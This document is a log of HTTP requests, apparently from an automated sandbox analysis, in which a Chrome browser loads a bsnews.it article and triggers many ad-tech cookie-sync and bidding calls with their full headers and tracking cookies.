Source: global traffic	HTTP traffic detected: GET /usermatch?d=&s=184674&cb=https%3A%2F%2Fcdn.indexww.com%2Fht%2Fhtw-pixel.gif%3F HTTP/1.1Host: ssum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://js-sec.indexww.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?id=dc2068a3-fa3d-4b5f-8a61-3d5a1a58fc05&ph=21f03281-5b83-4670-a0e0-dc15f7542014&r=https%3A%2F%2Fce.lijit.com%2Fmerge%3Fpid%3D76%263pid%3D%7BOPENX_ID%7D&gdpr=0&gdpr_consent= HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; pd=v2\|1711615884\|vMgavPkWgyiK; univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557
Source: global traffic	HTTP traffic detected: GET /cm?sid=1011&pv=MEDIAMATH&eid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&rt=img&rnd=436232701635 HTTP/1.1Host: trz.neodatagroup.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pixel.mathtag.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cProfile=AQMdCINwxgW/AAAAAAAEAAABjpjbKGMAB2RlZmF1bHQ=; cP=AT8DHQiDcMYFvwAAAAABs0lT; cOptout=0\|yocToken:7AdUuQDnS44iVs6ZYu1ohLMYeJE; tr=loCAwIGjVEREzmYGgRGAgdoANDMxZDA4ODM3MGM2MDViZl9hMTA5ZGM2MC1kYzdjLTQ1ZTUtYWI1My1lMjQ0OGE1MzQyMGbOZgUvkQ==
Source: global traffic	HTTP traffic detected: GET /rest/v1/sites/123231640/posts/95325/likes?http_envelope=1&chronological=true HTTP/1.1Host: public-api.wordpress.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://public-api.wordpress.com/wp-admin/rest-proxy/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /misc/img?mop_seq=1:1&mt_cb=968907&check=e37d6605-2f8b-4a00-8c65-7b6f95886a26&mop_top= HTTP/1.1Host: pixel.mathtag.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://pixel.mathtag.com/sync/iframe?mt_uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26&no_iframe=1&exsync=https%3A%2F%2Ftrz.neodatagroup.com%2Fcm%3Fsid%3D1011%26pv%3DMEDIAMATH%26eid%3D%5BMM_UUID%5D%26rt%3Dimg%26rnd%3D436232701635&mt_exid=10082&source=mathtagAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26; mt_mop=
Source: global traffic	HTTP traffic detected: GET /match/?int_id=98&gdpr=0&gdpr_consent=&uid=3287041831475129344 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
Source: global traffic	HTTP traffic detected: GET /match/?int_id=164&gdpr=0&gdpr_consent=&uid=663443d1-35cb-42a1-8bc1-50576d46032b HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
Source: global traffic	HTTP traffic detected: GET /match/?int_id=106&redir=1&ot_initiated=1&gdpr=0&gdpr_consent= HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/usync/?cb=1711615879045&gdpr=0&gdpr_consent=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
Source: global traffic	HTTP traffic detected: GET /match/?gdpr=0&gdpr_consent=&int_id=168&uid=OPU3668144d24c64241956e761ce5b3a0eb HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
Source: global traffic	HTTP traffic detected: GET /dsp/google/cookiematch/beacon?gdpr=0&gdpr_consent= HTTP/1.1Host: ap.lijit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ce.lijit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ljt_reader=IZUTABZHDx9FBBjNRfKWNwm_; ljtrtbexp=eJxlkDsSgEAIQ%2B%2BytQXE5efVHO%2Fu6NoQyxcIAc5RMQ4NRcJmyTbQUeUn7F0I7Ty57osB8YervkgNAT4luyeFQp0yivopMyexEdM8kN%2FWPupW8tadOOim9qTrBtIaQv0%3D
Source: global traffic	HTTP traffic detected: GET /syncframe?origin=publishertagids&topUrl=bsnews.it HTTP/1.1Host: gum.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync.html?gdpr=${GDPR}&gdpr_consent=${GDPR_CONSENT}&usp_consent=${US_PRIVACY}&redirect=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3DNOBID%26ttl%3D720%26uid%3D541085f3c3b063fcade759fd347ed803%26visitor%3D%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: public.servenobid.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://visitor.omnitagjs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=537072991&val=CAESEAhGB7mgB6UMzgq-biVLnZA&google_cver=1 HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://us-u.openx.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=fe628250-ec64-0d68-3371-9efce43e151a\|1711615883; pd=v2\|1711615884\|vMgavPkWgyiK; univ_id=537072971\|a109dc60-dc7c-45e5-ab53-e2448a53420f\|1711615889262557
Source: global traffic	HTTP traffic detected: GET /match/?int_id=2&uid=LUAZWPEM-F-4532&gdpr=0 HTTP/1.1Host: onetag-sys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://onetag-sys.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: OTP=27NUsK0FTKCxM_hJEiZb3SbrknWDzGHvtZezmtlGbyI
Source: global traffic	HTTP traffic detected: GET /rest/v1/batch?http_envelope=1&urls[]=/me&urls[]=/sites/123231640/posts/95325/likes?chronological=true&urls[]=/sites/123231640/posts/95325/reblogs/mine HTTP/1.1Host: public-api.wordpress.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ad/chnl?adCode=cpu32-8qlre&playerWidth=600&playerHeight=450&srcPageUrl=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&schain=1.0,1!sunmedia.tv,cf5f115c-45c0-42e6-88f5-1cc147412988,1,,,&gdpr=0&gdpr_consent=1&c1=T1,SM&_tur=T HTTP/1.1Host: cpu32-zs9v8.ads.tremorhub.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tvid=5c99a009bd184d5ca3b7885003b720e3; tvv=1; tvrg_61036=1,1711615884
Source: global traffic	HTTP traffic detected: GET /e/dtb/bid?src=3627&u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&pid=fMAH01Ecx6l5G&cb=0&ws=1280x907&v=24.305.1002&t=2000&slots=%5B%7B%22sd%22%3A%22div-gpt-ad-BSNEWS-DSK-Spalla-dx-300X600-ATF%22%2C%22s%22%3A%5B%22300x600%22%5D%7D%5D&pj=%7B%22device%22%3A%7B%22sua%22%3A%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22mobile%22%3A0%2C%22model%22%3A%22%22%2C%22source%22%3A2%2C%22platform%22%3A%7B%22brand%22%3A%22Windows%22%2C%22version%22%3A%5B%2210%22%2C%220%22%2C%220%22%5D%7D%2C%22browsers%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%5B%228%22%2C%220%22%2C%220%22%2C%220%22%5D%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%5D%7D%7D%7D&sm=8808e21e-6ea5-4543-8180-31905f081884&gdprl=%7B%22status%22%3A%22no-cmp%22%7D&vm=%7B%22ids%22%3A%7B%22pubcommon%22%3A%224c5bf266-24df-402d-bdb8-4178f61acf26%22%7D%7D HTTP/1.1Host: aax.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g\|t
Source: global traffic	HTTP traffic detected: GET /e/dtb/bid?src=3627&u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&pid=fMAH01Ecx6l5G&cb=1&ws=1280x907&v=24.305.1002&t=2000&slots=%5B%7B%22sd%22%3A%22bsnews-floorad-desktop%22%2C%22s%22%3A%5B%22728x90%22%5D%7D%5D&pj=%7B%22device%22%3A%7B%22sua%22%3A%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22mobile%22%3A0%2C%22model%22%3A%22%22%2C%22source%22%3A2%2C%22platform%22%3A%7B%22brand%22%3A%22Windows%22%2C%22version%22%3A%5B%2210%22%2C%220%22%2C%220%22%5D%7D%2C%22browsers%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%5B%228%22%2C%220%22%2C%220%22%2C%220%22%5D%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%5D%7D%7D%7D&sm=8808e21e-6ea5-4543-8180-31905f081884&gdprl=%7B%22status%22%3A%22no-cmp%22%7D&vm=%7B%22ids%22%3A%7B%22pubcommon%22%3A%224c5bf266-24df-402d-bdb8-4178f61acf26%22%7D%7D HTTP/1.1Host: aax.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g\|t
Source: global traffic	HTTP traffic detected: GET /crum?cm_dsp_id=156&external_user_id=7687c594-1bff-4b8d-b7fd-ac5b0069f223 HTTP/1.1Host: dsum.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
Source: global traffic	HTTP traffic detected: GET /ps/?m=xch&rt=html&id=0015a00003HljHyAAJ&ru=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3D33ACROSS%26ttl%3D720%26uid%3D2f9442d7df2189f76c8b593d5f54ce95%26visitor%3D33XUSERID33X%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: ssc-cms.33across.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://visitor.omnitagjs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /crum?cm_dsp_id=191&external_user_id=228cb039-6430-c48d-d32df1cb HTTP/1.1Host: dsum.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
Source: global traffic	HTTP traffic detected: GET /711169.gif?partner_uid=9741359e-b2a2-4864-af08-41d769df6c9b&ct=4&cv=[GDPR_CONSENT] HTTP/1.1Host: idsync.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sync.admanmedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dis/usersync.aspx?r=70&p=120&cp=adyoulike&cu=1&url=https%3A%2F%2Fvisitor.omnitagjs.com%2Fvisitor%2Fsync%3Fis_cookie_sync_uid%3Dtrue%26uid%3D4246a50e6cf42e85f26c381a4b7701fb%26name%3DCRITEO%26visitor%3D%40%40CRITEO_USERID%40%40 HTTP/1.1Host: dis.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://visitor.omnitagjs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=39&external_user_id=a109dc60-dc7c-45e5-ab53-e2448a53420f&expiration=1714207888&gdpr=0&gdpr_consent= HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
Source: global traffic	HTTP traffic detected: GET /crum?cm_dsp_id=90&external_user_id=847CD017CFA04EE58AAA8C55A751BC64 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3DXandr%2B%25E2%2580%2593%2BInvest%2BDSP%26ttl%3D720%26uid%3D48d5713d5c563cba2049f505b2d944b6%26visitor%3D%24UID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://visitor.omnitagjs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3DXandr%2B%25E2%2580%2593%2BInvest%2BDSP%2B-%2BBanner%26ttl%3D720%26uid%3D75d56568a11564bfb79a01d2fa9fdb29%26visitor%3D%24UID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1Host: secure.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://visitor.omnitagjs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
